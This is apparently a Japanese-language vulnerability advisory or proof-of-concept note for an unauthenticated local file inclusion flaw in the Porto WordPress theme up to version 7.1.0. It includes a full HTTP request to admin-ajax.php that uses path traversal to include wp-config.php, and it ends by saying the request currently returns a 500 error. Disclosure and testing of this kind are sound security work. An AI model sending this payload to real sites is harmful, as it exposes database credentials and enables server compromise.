
Porto <= 7.1.0 - 認証されていないローカルファイルインクルージョン(porto_ajax_posts経由)
Porto <= 7.1.0 - 未認証のローカルファイルインクルージョン(porto_ajax_posts 経由)
WordPress用 Porto テーマは、バージョン7.1.0までの全バージョンにおいて、'porto_ajax_posts' 関数を介してローカルファイルインクルージョンに対して脆弱です。これにより、認証されていない攻撃者がサーバー上の任意のファイルをインクルードおよび実行できる可能性があり、それらのファイル内の任意のPHPコードを実行できるようになります。これは、アクセス制御の回避、機密データの取得、またはPHPファイルタイプがアップロードおよびインクルード可能な場合のコード実行につながる可能性があります。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
action=porto_ajax_posts&post_type=post&extra={"shortcode":"porto_posts_grid","template":"../../../../wp-config.php"}
現時点では500エラーが発生しています。